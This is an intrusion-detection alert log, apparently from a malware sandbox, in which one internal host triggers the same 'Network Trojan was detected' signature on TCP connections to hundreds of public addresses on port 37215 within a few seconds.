2025-02-12T16:54:00.102532+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57776	197.193.166.105	37215	TCP
2025-02-12T16:54:00.102544+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56790	197.61.218.129	37215	TCP
2025-02-12T16:54:00.102546+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42130	41.109.154.180	37215	TCP
2025-02-12T16:54:00.102557+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39534	197.65.56.200	37215	TCP
2025-02-12T16:54:00.102564+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41290	202.79.230.125	37215	TCP
2025-02-12T16:54:00.102566+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33882	157.110.113.230	37215	TCP
2025-02-12T16:54:00.102572+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42320	199.120.236.207	37215	TCP
2025-02-12T16:54:00.102576+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34120	145.188.94.167	37215	TCP
2025-02-12T16:54:00.102576+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38708	197.214.10.85	37215	TCP
2025-02-12T16:54:00.102579+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60656	157.174.223.243	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45470	197.70.106.64	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38582	41.131.165.152	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33924	186.225.234.165	37215	TCP
2025-02-12T16:54:00.102593+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35122	197.89.63.213	37215	TCP
2025-02-12T16:54:00.102593+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59824	197.120.72.173	37215	TCP
2025-02-12T16:54:00.102603+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59906	197.216.233.128	37215	TCP
2025-02-12T16:54:00.102616+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56268	158.188.113.124	37215	TCP
2025-02-12T16:54:00.102618+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46924	197.238.177.53	37215	TCP
2025-02-12T16:54:00.102626+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37494	157.181.127.162	37215	TCP
2025-02-12T16:54:00.102633+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46300	41.90.242.126	37215	TCP
2025-02-12T16:54:00.102633+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36252	197.228.206.126	37215	TCP
2025-02-12T16:54:00.102637+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35418	41.76.165.47	37215	TCP
2025-02-12T16:54:00.102637+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58376	41.232.146.90	37215	TCP
2025-02-12T16:54:00.102640+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52860	41.47.206.110	37215	TCP
2025-02-12T16:54:00.102640+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38370	45.164.185.198	37215	TCP
2025-02-12T16:54:00.102651+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52044	157.132.83.108	37215	TCP
2025-02-12T16:54:00.102652+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45944	197.30.144.59	37215	TCP
2025-02-12T16:54:00.102652+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55772	197.50.248.108	37215	TCP
2025-02-12T16:54:00.102658+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44154	88.29.233.181	37215	TCP
2025-02-12T16:54:00.102661+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37426	157.1.52.7	37215	TCP
2025-02-12T16:54:00.102661+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34980	41.18.186.127	37215	TCP
2025-02-12T16:54:00.102666+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36936	197.55.152.209	37215	TCP
2025-02-12T16:54:00.102674+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59170	157.38.60.90	37215	TCP
2025-02-12T16:54:00.102678+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52560	157.189.85.19	37215	TCP
2025-02-12T16:54:00.102686+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46600	75.236.34.6	37215	TCP
2025-02-12T16:54:00.102688+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51142	62.176.252.139	37215	TCP
2025-02-12T16:54:00.102694+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38550	157.237.141.71	37215	TCP
2025-02-12T16:54:00.108935+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51362	35.208.86.83	37215	TCP
2025-02-12T16:54:00.111295+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34660	157.42.223.75	37215	TCP
2025-02-12T16:54:00.120147+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45558	197.144.215.153	37215	TCP
2025-02-12T16:54:00.120324+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47648	197.231.79.74	37215	TCP
2025-02-12T16:54:00.135899+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34506	41.99.219.201	37215	TCP
2025-02-12T16:54:00.136058+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44662	157.94.145.117	37215	TCP
2025-02-12T16:54:00.169157+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40666	197.123.168.71	37215	TCP
2025-02-12T16:54:00.173023+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46276	197.94.221.201	37215	TCP
2025-02-12T16:54:00.276652+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41632	157.48.51.30	37215	TCP
2025-02-12T16:54:00.294091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52240	192.193.80.72	37215	TCP
2025-02-12T16:54:00.307858+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38596	157.61.248.168	37215	TCP
2025-02-12T16:54:00.464154+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46352	157.102.240.14	37215	TCP
2025-02-12T16:54:00.466140+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50232	197.97.121.60	37215	TCP
2025-02-12T16:54:00.467979+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38014	157.202.41.254	37215	TCP
2025-02-12T16:54:00.468063+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48222	41.112.152.191	37215	TCP
2025-02-12T16:54:00.469788+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45580	165.29.123.180	37215	TCP
2025-02-12T16:54:00.481973+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41034	171.172.43.134	37215	TCP
2025-02-12T16:54:00.557756+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43436	157.241.134.102	37215	TCP
2025-02-12T16:54:01.057887+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44438	41.47.241.73	37215	TCP
2025-02-12T16:54:01.058697+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54358	197.168.164.89	37215	TCP
2025-02-12T16:54:01.073727+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44132	113.238.86.46	37215	TCP
2025-02-12T16:54:01.073886+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57290	157.11.136.214	37215	TCP
2025-02-12T16:54:01.091035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57280	20.6.148.23	37215	TCP
2025-02-12T16:54:01.091098+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41488	157.147.1.197	37215	TCP
2025-02-12T16:54:01.093033+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34380	41.129.10.116	37215	TCP
2025-02-12T16:54:01.093124+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33786	41.232.169.147	37215	TCP
2025-02-12T16:54:01.105381+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34008	41.200.176.26	37215	TCP
2025-02-12T16:54:01.110464+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55084	143.66.141.44	37215	TCP
2025-02-12T16:54:01.136012+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42892	41.94.84.203	37215	TCP
2025-02-12T16:54:01.136727+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41376	41.46.233.105	37215	TCP
2025-02-12T16:54:01.167337+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33710	193.28.190.148	37215	TCP
2025-02-12T16:54:01.168163+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33562	197.104.202.199	37215	TCP
2025-02-12T16:54:01.168163+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35418	197.172.228.160	37215	TCP
2025-02-12T16:54:01.172790+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54730	157.143.24.121	37215	TCP
2025-02-12T16:54:01.184496+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49466	197.50.115.190	37215	TCP
2025-02-12T16:54:01.186256+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56182	157.157.154.29	37215	TCP
2025-02-12T16:54:01.199040+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38952	157.250.93.33	37215	TCP
2025-02-12T16:54:01.265154+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60152	197.152.83.218	37215	TCP
2025-02-12T16:54:01.282285+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46624	174.40.55.70	37215	TCP
2025-02-12T16:54:01.292206+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57126	41.44.29.147	37215	TCP
2025-02-12T16:54:01.294248+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33690	41.95.98.29	37215	TCP
2025-02-12T16:54:01.308191+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50284	197.105.183.186	37215	TCP
2025-02-12T16:54:01.309034+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33556	157.216.93.235	37215	TCP
2025-02-12T16:54:01.309038+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47904	204.61.207.202	37215	TCP
2025-02-12T16:54:01.346053+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54374	41.177.139.6	37215	TCP
2025-02-12T16:54:01.346105+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49944	152.241.227.249	37215	TCP
2025-02-12T16:54:01.347462+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52748	41.178.233.159	37215	TCP
2025-02-12T16:54:01.347495+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45758	195.106.111.175	37215	TCP
2025-02-12T16:54:01.347780+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42268	140.255.62.196	37215	TCP
2025-02-12T16:54:01.354907+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36450	157.195.146.67	37215	TCP
2025-02-12T16:54:01.356589+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46282	76.172.44.244	37215	TCP
2025-02-12T16:54:01.386270+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32894	187.161.208.7	37215	TCP
2025-02-12T16:54:01.390006+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40152	197.206.221.57	37215	TCP
2025-02-12T16:54:01.390974+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44788	197.126.24.251	37215	TCP
2025-02-12T16:54:01.401748+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60436	197.145.99.245	37215	TCP
2025-02-12T16:54:01.421151+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46748	197.82.214.201	37215	TCP
2025-02-12T16:54:01.450194+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44818	197.57.198.107	37215	TCP
2025-02-12T16:54:01.452467+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58390	129.187.183.48	37215	TCP
2025-02-12T16:54:01.464164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41174	197.186.14.104	37215	TCP
2025-02-12T16:54:01.467880+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36548	41.130.192.62	37215	TCP
2025-02-12T16:54:01.483501+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39816	41.96.20.130	37215	TCP
2025-02-12T16:54:02.089282+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48874	157.235.28.201	37215	TCP
2025-02-12T16:54:02.089372+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58822	197.63.201.38	37215	TCP
2025-02-12T16:54:02.091029+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60910	41.250.53.45	37215	TCP
2025-02-12T16:54:02.107902+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52276	140.93.71.44	37215	TCP
2025-02-12T16:54:02.110415+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38410	157.100.46.52	37215	TCP
2025-02-12T16:54:02.120637+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44586	197.54.106.148	37215	TCP
2025-02-12T16:54:02.124124+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49698	41.238.224.83	37215	TCP
2025-02-12T16:54:02.137916+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42600	197.232.9.98	37215	TCP
2025-02-12T16:54:02.153481+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41218	134.130.218.228	37215	TCP
2025-02-12T16:54:02.169244+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48192	157.182.69.22	37215	TCP
2025-02-12T16:54:02.171232+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47948	197.48.35.125	37215	TCP
2025-02-12T16:54:02.183119+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34314	181.42.16.240	37215	TCP
2025-02-12T16:54:02.183223+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45206	54.89.85.247	37215	TCP
2025-02-12T16:54:02.184994+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53158	14.121.142.220	37215	TCP
2025-02-12T16:54:02.198760+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57104	197.216.60.225	37215	TCP
2025-02-12T16:54:02.233759+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48354	157.246.85.153	37215	TCP
2025-02-12T16:54:02.247591+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49038	157.97.241.15	37215	TCP
2025-02-12T16:54:02.263111+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38884	157.92.171.34	37215	TCP
2025-02-12T16:54:02.292405+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35470	17.173.106.87	37215	TCP
2025-02-12T16:54:02.292968+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40256	41.179.156.177	37215	TCP
2025-02-12T16:54:02.307943+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44296	62.115.193.47	37215	TCP
2025-02-12T16:54:02.308135+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48792	197.34.206.115	37215	TCP
2025-02-12T16:54:02.309919+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37892	155.156.162.155	37215	TCP
2025-02-12T16:54:02.347307+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39310	41.248.40.62	37215	TCP
2025-02-12T16:54:02.354983+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49130	41.109.60.35	37215	TCP
2025-02-12T16:54:02.356617+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59736	197.159.203.220	37215	TCP
2025-02-12T16:54:02.390095+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44046	157.244.95.254	37215	TCP
2025-02-12T16:54:02.391009+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47834	197.233.103.224	37215	TCP
2025-02-12T16:54:02.407363+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44006	197.19.187.40	37215	TCP
2025-02-12T16:54:02.433093+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38148	41.197.244.50	37215	TCP
2025-02-12T16:54:02.449255+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37874	88.42.22.104	37215	TCP
2025-02-12T16:54:02.464344+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33694	157.69.107.162	37215	TCP
2025-02-12T16:54:02.466100+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51930	197.160.135.175	37215	TCP
2025-02-12T16:54:03.105636+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47070	197.154.146.38	37215	TCP
2025-02-12T16:54:03.120614+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39570	41.85.30.222	37215	TCP
2025-02-12T16:54:03.120696+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60354	197.1.126.130	37215	TCP
2025-02-12T16:54:03.120722+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51834	54.223.233.38	37215	TCP
2025-02-12T16:54:03.120852+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59212	2.210.41.53	37215	TCP
2025-02-12T16:54:03.120958+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48860	157.206.40.44	37215	TCP
2025-02-12T16:54:03.121125+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46522	41.208.150.105	37215	TCP
2025-02-12T16:54:03.122179+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47266	41.166.128.108	37215	TCP
2025-02-12T16:54:03.139788+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52144	180.76.240.152	37215	TCP
2025-02-12T16:54:03.139836+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50334	157.170.227.87	37215	TCP
2025-02-12T16:54:03.140240+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44682	157.176.149.201	37215	TCP
2025-02-12T16:54:03.151851+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54684	197.219.51.234	37215	TCP
2025-02-12T16:54:03.151893+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44414	157.12.164.48	37215	TCP
2025-02-12T16:54:03.156425+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36354	197.183.237.219	37215	TCP
2025-02-12T16:54:03.167364+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44092	197.71.200.113	37215	TCP
2025-02-12T16:54:03.169015+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39368	157.169.36.224	37215	TCP
2025-02-12T16:54:03.184664+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52310	84.142.29.183	37215	TCP
2025-02-12T16:54:03.198786+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57510	41.64.89.244	37215	TCP
2025-02-12T16:54:03.214222+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37810	157.191.39.247	37215	TCP
2025-02-12T16:54:03.214328+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35916	41.215.213.54	37215	TCP
2025-02-12T16:54:03.229838+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40548	157.193.36.205	37215	TCP
2025-02-12T16:54:03.229860+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40430	197.97.115.241	37215	TCP
2025-02-12T16:54:03.245344+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37600	197.217.181.21	37215	TCP
2025-02-12T16:54:03.278542+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49094	41.191.220.61	37215	TCP
2025-02-12T16:54:03.292449+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56150	41.44.56.242	37215	TCP
2025-02-12T16:54:03.307870+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58854	54.174.214.46	37215	TCP
2025-02-12T16:54:03.308693+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59954	197.110.92.209	37215	TCP
2025-02-12T16:54:03.354918+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52964	197.231.226.170	37215	TCP
2025-02-12T16:54:03.360628+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37750	157.200.49.231	37215	TCP
2025-02-12T16:54:03.370678+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45444	41.251.2.255	37215	TCP
2025-02-12T16:54:03.390237+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55898	41.153.101.239	37215	TCP
2025-02-12T16:54:04.167456+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33516	162.103.119.194	37215	TCP
2025-02-12T16:54:04.183042+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48896	157.101.115.24	37215	TCP
2025-02-12T16:54:04.185209+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51110	157.147.44.232	37215	TCP
2025-02-12T16:54:04.187039+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40470	191.27.6.248	37215	TCP
2025-02-12T16:54:04.187089+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56874	197.28.5.26	37215	TCP
2025-02-12T16:54:04.187334+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54416	197.83.193.184	37215	TCP
2025-02-12T16:54:04.198556+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51658	157.126.56.126	37215	TCP
2025-02-12T16:54:04.214243+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44192	157.118.250.63	37215	TCP
2025-02-12T16:54:04.218014+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37476	41.207.130.159	37215	TCP
2025-02-12T16:54:04.218223+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56112	41.71.78.114	37215	TCP
2025-02-12T16:54:04.230012+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49920	143.49.130.128	37215	TCP
2025-02-12T16:54:04.261037+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32958	166.114.110.122	37215	TCP
2025-02-12T16:54:04.266659+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57240	41.208.110.240	37215	TCP
2025-02-12T16:54:04.277284+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35280	157.79.172.230	37215	TCP
2025-02-12T16:54:04.279039+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55848	110.54.190.208	37215	TCP
2025-02-12T16:54:04.372242+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45374	197.175.74.209	37215	TCP
2025-02-12T16:54:04.375195+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46428	172.231.244.114	37215	TCP
2025-02-12T16:54:04.402576+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46476	197.28.158.102	37215	TCP
2025-02-12T16:54:04.403040+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35366	41.156.217.208	37215	TCP
2025-02-12T16:54:04.433184+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58646	41.93.31.93	37215	TCP
2025-02-12T16:54:04.450440+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45942	41.229.147.245	37215	TCP
2025-02-12T16:54:04.452386+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48020	102.218.230.42	37215	TCP
2025-02-12T16:54:04.456889+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46210	85.41.89.213	37215	TCP
2025-02-12T16:54:04.710041+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53888	109.57.192.225	37215	TCP
2025-02-12T16:54:04.733202+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47984	41.212.106.97	37215	TCP
2025-02-12T16:54:05.023172+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41362	197.9.144.94	37215	TCP
2025-02-12T16:54:05.171584+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36892	41.102.184.207	37215	TCP
2025-02-12T16:54:05.214646+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37552	157.38.252.136	37215	TCP
2025-02-12T16:54:05.215999+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50350	148.17.56.213	37215	TCP
2025-02-12T16:54:05.218100+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35250	157.92.44.129	37215	TCP
2025-02-12T16:54:05.261162+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36094	83.35.76.4	37215	TCP
2025-02-12T16:54:05.261853+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35630	168.26.196.128	37215	TCP
2025-02-12T16:54:05.264934+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46006	157.233.238.35	37215	TCP
2025-02-12T16:54:05.282474+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54680	157.123.253.157	37215	TCP
2025-02-12T16:54:05.292278+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43700	61.136.26.110	37215	TCP
2025-02-12T16:54:05.386113+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58690	199.150.47.146	37215	TCP
2025-02-12T16:54:05.386153+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33716	41.28.3.73	37215	TCP
2025-02-12T16:54:05.386193+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58578	41.179.245.7	37215	TCP
2025-02-12T16:54:05.403583+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36468	92.29.133.28	37215	TCP
2025-02-12T16:54:05.403780+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36370	157.221.152.219	37215	TCP
2025-02-12T16:54:05.405362+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46804	197.169.141.16	37215	TCP
2025-02-12T16:54:05.405455+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37838	197.91.38.58	37215	TCP
2025-02-12T16:54:05.901671+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48056	197.64.9.255	37215	TCP
2025-02-12T16:54:06.214353+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43838	197.38.130.34	37215	TCP
2025-02-12T16:54:06.214565+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36928	197.94.14.135	37215	TCP
2025-02-12T16:54:06.214633+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42422	197.209.188.168	37215	TCP
2025-02-12T16:54:06.214760+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56772	157.119.81.29	37215	TCP
2025-02-12T16:54:06.214760+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58814	41.170.0.23	37215	TCP
2025-02-12T16:54:06.214872+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45926	197.79.201.33	37215	TCP
2025-02-12T16:54:06.215187+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49842	197.125.17.154	37215	TCP
2025-02-12T16:54:06.216224+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51186	197.193.79.166	37215	TCP
2025-02-12T16:54:06.217282+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50906	157.133.181.199	37215	TCP
2025-02-12T16:54:06.229775+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38474	180.245.96.120	37215	TCP
2025-02-12T16:54:06.229840+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53130	157.16.67.239	37215	TCP
2025-02-12T16:54:06.229904+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32934	197.95.165.62	37215	TCP
2025-02-12T16:54:06.230729+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48634	41.121.182.82	37215	TCP
2025-02-12T16:54:06.231048+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50574	157.15.136.219	37215	TCP
2025-02-12T16:54:06.231631+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47910	197.57.135.145	37215	TCP
2025-02-12T16:54:06.231662+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44062	41.179.124.128	37215	TCP
2025-02-12T16:54:06.233294+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52546	157.149.84.45	37215	TCP
2025-02-12T16:54:06.233731+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41638	197.50.53.130	37215	TCP
2025-02-12T16:54:06.234247+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34338	41.114.34.159	37215	TCP
2025-02-12T16:54:06.234728+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36552	197.34.127.28	37215	TCP
2025-02-12T16:54:06.235441+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46716	157.209.73.122	37215	TCP
2025-02-12T16:54:06.247596+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56384	121.82.217.161	37215	TCP
2025-02-12T16:54:06.248944+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44364	157.252.2.5	37215	TCP
2025-02-12T16:54:06.268728+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42918	157.50.151.26	37215	TCP
2025-02-12T16:54:06.277091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58446	41.240.100.159	37215	TCP
2025-02-12T16:54:06.296271+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56964	197.176.78.199	37215	TCP
2025-02-12T16:54:06.296405+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52214	157.153.182.222	37215	TCP
2025-02-12T16:54:06.618832+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53920	78.166.101.213	37215	TCP
2025-02-12T16:54:07.762101+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59260	114.206.239.166	37215	TCP
2025-02-12T16:54:08.235935+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46626	41.201.167.231	37215	TCP
2025-02-12T16:54:08.236084+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47318	157.67.67.38	37215	TCP
2025-02-12T16:54:08.249701+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40672	67.244.214.126	37215	TCP
2025-02-12T16:54:08.249756+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57908	197.112.74.64	37215	TCP
2025-02-12T16:54:08.261326+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44694	157.75.205.95	37215	TCP
2025-02-12T16:54:08.263053+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33374	197.117.38.137	37215	TCP
2025-02-12T16:54:08.266629+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58824	41.253.199.194	37215	TCP
